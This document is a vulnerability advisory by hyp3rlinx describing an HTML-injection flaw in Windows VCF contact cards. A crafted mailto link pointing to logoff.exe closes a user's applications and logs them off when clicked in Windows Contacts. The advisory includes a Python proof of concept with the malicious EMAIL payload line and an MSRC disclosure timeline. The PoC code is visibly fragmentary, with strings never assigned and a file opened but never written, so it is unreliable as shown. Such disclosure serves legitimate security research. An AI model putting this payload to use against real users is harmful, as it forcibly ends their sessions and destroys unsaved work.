[+] Credits: John Page (aka hyp3rlinx)    
[+] Website:
[+] Source:
[+] ISR: ApparitionSec     


A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features.
These are a powerful new approach to electronic Personal Data Interchange (PDI).

[Vulnerability Type]
Mailto Link Denial Of Service

[CVE Reference]

[Security Issue]
Windows VCF cards do not properly sanitize email addresses allowing for HTML injection.
A corrupt VCF card can cause all the users currently opened files and applications to be closed
and their session to be terminated without requiring any accompanying attacker supplied code. 

This can be done by crafting the Mailto link to point to Windows "logoff.exe". The corrupt VCF card can then
kill all users applications and also log the target off their computer, if the VCF card is opened in
using Windows Contacts and the link is clicked.

The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.

This probably will affect Windows 7 the most as Windows 10 can possibly default opening VCF files in other programs
like (People). However, users can possibly still choose to open the VCF in Contacts by right-click the file.

Note, this exploit requires user interaction.


'FN:Session Terminate PoC - ApparitionSec\n'
'EMAIL:<a href="logoff">[email protected]</a>\n'

f=open("DoS.vcf", "w")

print "VCF Denial Of Service card created!"
print "By hyp3rlinx"

[POC Video URL]

[Disclosure Timeline]
Vendor Notification: January 2, 2020
MSRC : "In order to investigate your report I will need an explanation on how an attacker could use the information
        to exploit another user remotely without the use of social engineering... As such, this thread is being closed"
      : January 3, 2020
January 4, 2020 : Public Disclosure

# [2020-01-04]  #